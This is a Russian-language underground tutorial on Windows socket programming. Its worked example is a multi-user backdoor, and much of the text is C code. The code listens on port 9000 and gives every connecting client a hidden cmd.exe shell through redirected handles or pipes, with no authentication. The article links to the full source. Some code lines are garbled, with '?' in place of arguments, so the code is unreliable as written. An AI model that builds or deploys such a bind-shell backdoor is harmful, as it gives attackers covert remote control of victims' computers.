#######################################################################
# #
# WinSock для начинающих #
# #
#######################################################################
0х000
------ > В статье рассматриваются азы написания сетевых приложений
windows на сокетах. В качестве примера рассмотривается
код простейшего многопользовательского бэкдора.
0x001
------ > Прежде чем рассматривать создание сетевых приложений
с использованием WINSOCKETS API, давайте сразу рассмотрим
плюсы и минусы такого способа.
[ + ] Независимость от сторонних библиотек ( все что нужно уже [ + ]
| находиться в операционной системе ( ОС ). |
| |
| Малый размер. Согласитесь это весомый плюс к любому |
| приложению. |
| |
| Легкая переносимость на другие языки. |
| |
| С помощью WINSOCKETS API можно создать любое |
| сетевое приложение. Сформировать любой ( RAW ) пакет. |
| |
| Приходит понимание функционирования сети и ОС'и в целом. |
| _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ _ |
[ - ] Будет трудно перейти, если до этого вы использовали [ - ]
какие либо библиотеки ( компоненты ).
Сложность разработки приложения. Хотя при накопление
определенного опыта этот минус исчезнет.
0x002
------ > И так поехали. Нам потребуется заголовочный файл winsock2.h
и lib-файл - ws2_32.lib. Перед началом использования любых
функций из WINSOCKETS API необходимо вызвать функцию
инициализации WSAStartup, передав ей в качестве первого
параметра ( WORD ) номер версии и в качестве второго
указатель на структуру WSADATA. После окончания работы
с WINSOCKETS API необходимо вызвать WSACleanup, которая
освободит все ресурсы занимаемые WINSOCKETS.
Для работы с сетью необходимо создать socket ( сокет, гнездо,
соединитель и т. д. ). Это интерфейс взаимодействия с сетевыми
протоколами. Сокеты ( windows ) бывают 2х видов: синхронные
и асинхронные. Синхронные - задерживают управление на время
операции ( прием/отправка данных ), а асинхронные наоборот
( продолжают выполнение в фоновом режиме ). Так же,
независимо от вида, сокеты делятся на 2 типа: потоковые и
дейтаграмные. Потоковые работают с установкой соединения,
обеспечивают целостность данных и позволяют идентифицировать
всех участников соединения. Дейтеграмные работают с точностью
наоборот, зато они заметно быстрее.
Создать сокет можно функциями WSASocket или socket.
WSASocket ( int af, int type, int protocol,
LPWSAPROTOCOL_INFO lpProtocolInfo,
GROUP g, DWORD dwFlags )
socket ( int af, int type, int protocol )
Параметр: af - семейство используемых протоколов
( для Интернета это AF_INET ).
type - тип сокета, потоковый ( SOCK_STREAM ),
дейтаграмный ( SOCK_DGRAM ) или
так называемый "сырой" ( SOCK_RAW ).
protocol - тип транспортного протокола, IPPROTO_TCP
для TCP, IPPROTO_UDP для UDP и
IPPROTO_RAW для "сырых" сокетов.
lpProtocolInfo - указывает на структуру WSAPROTOCOL_INFO,
содержащую информацию о протоколе, для
которого создаётся сокет.
g - зарезервирован для использования в будущем.
( будет использоваться для группы сокетов ).
Поэтому должен быть равен NULL.
dwFlags - определяет дополнительные возможности.
Как правило используется для сокетов
многоадресного вещания.
Как видите WSASocket дает гораздо больше возможностей чем
socket. После создания сокета нам требуется заполнить структуру
sockaddr.
struct sockaddr_in {
short sin_family ; // семейство протоколов
u_short sin_port ; // порт
struct in_addr sin_addr ; // IP - адрес
char sin_zero[ 8 ] ; // заполнитель
} ;
sin_zero[ 8 ] - запас, чтоб можно было работать с другими сетями
( адреса некоторых сетей для своего представления
требуют больше 4х байт ).
С учетом вышеизложенного у нас получиться примерно такой код:
WSAStartup(MAKEWORD(2, 2), &wsaData) ;
server = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0) ;
localaddr.sin_family = AF_INET ;
localaddr.sin_port = htons( 9000 ) ;
localaddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
Константа INADDR_ANY позволяет связать сокет сразу со всеми
IP- адресами. htonl - преобразует константу в специальный сетевой
порядок байт.
Для дальнейшей работы необходимо "привязать" сокет к его
стандартному адресу функцией bind.
int bind ( SOCKET s,
const struct sockaddr FAR* name,
int namelen )
s - дескриптор созданного сокета.
name - указатель на структуру sockaddr_in.
namelen - размер sockaddr_in.
Далее переведем сокет в состояние "прослушивания"
( ожидание подключений клиентов ). Это делается функцией
listen.
int listen ( SOCKET s,
int backlog )
s - дескриптор созданного сокета.
backlog - максимальная длинна очереди соединений.
Принятие соединения может осуществляться 2мя
функциями accept и WSAAccept ( рассмотреть в качестве
домашнего задания ).
accept (
SOCKET s,
struct sockaddr FAR * addr,
int FAR * addrlen
) ;
Думаю здесь нечего описывать. В итоге получается
нечто похожее на этот код:
void main()
{
WSADATA wsaData ;
SOCKET server, client ;
struct sockaddr_in localaddr, clientaddr ;
DWORD hThread ; // понадобиться в дальнейшем
int clientSize ;
WSAStartup(MAKEWORD(2, 2), &wsaData) ;
server = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0) ;
localaddr.sin_family = AF_INET ;
localaddr.sin_port = htons( 9000 ) ;
localaddr.sin_addr.s_addr = htonl(INADDR_ANY) ;
bind(server, (struct sockaddr *)&localaddr, sizeof(localaddr)) ;
clientSize = sizeof(clientaddr) ;
listen(server, SOMAXCONN);
.....
closesocket(server);
WSACleanup();
ExitProcess(0);
}
0х003
------ > Здесь мы реализуем работу с клиентами и научимся перенаправлять
ввод/вывод из консольных приложений.
Для реализации многопользования я предлагаю следующий код.
while(TRUE)
{
client = accept(server, (struct sockaddr *)&clientaddr, &clientSize);
if (CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)start, &client, 0, &hThread) == NULL)
{
closesocket( server ) ;
WSACleanup() ;
ExitProcess( 0 ) ;
}
CloseHandle(&hThread);
}
Для каждого подключившегося клиента, создается свой
поток, где и происходит прием/передача данных. Если поток
по каким-то причинам создать не удалось, то происходит:
закрытие сокета, отчистка всех ресурсов и завершение работы
процесса бэкдора.
После того как клиент подключился хорошо бы отправить
ему какое-нибудь приветствие или отобразить меню. Посылка
данных осуществляется функцией send, а прием recv. Флаги и
параметры у них одинаковые.
int send (
SOCKET s,
const char FAR * buf,
int len,
int flags
) ;
buf - это данные для приема/отправки, а len - размер
этих данных. flags - может принимать значения MSG_PEEK,
MSG_OOB и MSG_DONTROUTE. Однако большинство источников
рекомендуют воздержаться от использования этого параметра.
Теперь давайте посмотрим как нам осуществить
перенаправление. Описание функций не касающихся темы
я приводить не буду.
clent = *( (SOCKET*) lpParam) ;
ZeroMemory( &si, sizeof( si ) ) ;
si.cb = sizeof( si ) ;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW ;
si.wShowWindow = SW_HIDE ; // Запуск в скрытом режиме
si.hStdInput = ( HANDLE* )clent ; // Перенаправляем ввод
si.hStdOutput = ( HANDLE* )clent ; // вывод
si.hStdError = ( HANDLE* )clent ; // ошибки
ZeroMemory( ?, sizeof(pi) ) ;
CreateProcess( NULL, "cmd", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, ? ) ;
WaitForSingleObject( pi.hProcess, INFINITE ) ; // Ждём завершения работы
CloseHandle( pi.hProcess ) ;
CloseHandle( pi.hThread ) ;
Так же можно осуществить перенаправление при помощи пайпов
( Pipe ). Однако их использование ( ИМХО ) нужно только если
передаваемые данные требуется как-то преобразовать ( например
зашифровать или вырезать/вставить информацию). Хотя может я и
ошибаюсь. На всякий случай ниже приведен код перенаправления
на пайпах.
sa.lpSecurityDescriptor = NULL ;
sa.nLength = sizeof( SECURITY_ATTRIBUTES ) ;
sa.bInheritHandle = TRUE ;
if ( !CreatePipe( &cstdin, &wstdin, &sa, 0 ) ) return -1 ;
if ( !CreatePipe( &rstdout, &cstdout, &sa, 0 ) ) return -1 ;
GetStartupInfo( &si ) ;
si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW ;
si.wShowWindow = SW_HIDE ;
si.hStdOutput = cstdout ;
si.hStdError = cstdout ;
si.hStdInput = cstdin ;
CreateProcess( NULL, "cmd", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, ? ) ;
while ( GetExitCodeProcess(pi.hProcess,&fexit) && ( fexit == STILL_ACTIVE ) )
{
if ( PeekNamedPipe(rstdout, buf, 1, &N, &total, 0) && N )
{
for (a = 0; a < total; a += MAX_BUF_SIZE)
{
ReadFile(rstdout, buf, MAX_BUF_SIZE, &N, 0);
send(clent, buf, N, 0);
}
}
if ( !ioctlsocket(clent, FIONREAD , &N) && N )
{
recv(clent, buf, 1, 0);
if (*buf == '\x0A') WriteFile(wstdin, "\x0D", 1, &N, 0);
WriteFile(wstdin, buf, 1, &N, 0);
}
Sleep(1);
}
Здесь мы видим ещё одну WINSOCKETS API функцию - ioctlsocket.
В основном её используют для управления режимом ввода/вывода
и для получения сведений об ожидающем вводе/выводе.
ioctlsocket (
SOCKET s,
long cmd,
u_long FAR * argp
) ;
Параметр s - сокет который будет использоваться.
cmd - флаг для управления.
argp - указатель на специфическую переменную.
Флагов у этой команды достаточно много, некоторые из-них
предназначены для других ОС ( Windows СЕ ). Вот некоторые
из них:
FIONBIO - включает/отключает неблокирующий режим.
FIONREAD - определяет размер данных, которые могут быть
считаны в сокет в одном вызове функции.
SIO_FIND_ROUTE - определяет, есть ли связь с заданным адресом.
SO_SSL_GET_PROTOCOLS - определяет список протоколов, которые
поставщик поддерживает на этом сокете.
Также в примере, для реализации многопользования вы
встретите еще одну функцию.
shutdown(
SOCKET s,
int how ) ;
Параметр s - как всегда - сокет.
how - как закрыть соединение. Принимает следующие значения:
D_RECEIVE - для закрытия соединения сервер => клиент.
SD_SEND - для закрытия соединения клиент => сервер.
SD_BOTH - для закрытия всех соединений.
0х003
------ > Вроде бы всё... Напоследок несколько советов:
1 - помни, что ExitProcess не освобождает ресурсы занятые сокетом.
2 - проверяй все данные присылаемые пользователем и корректно
выделяй память под них.
Если есть замечания, пожелания по поводу статьи всегда выслушаю.
Агромное спасибо UnW1n'у за помощь и за то, что заставил меня
перейти на Си.
P. S. Пример к статье можно взять здесь:
/includes/Sample_Socket_SRC.rar
."-------"--".
================================================================" by Izg0y "
."----------".
CORU.in - Cult Of Russian Underground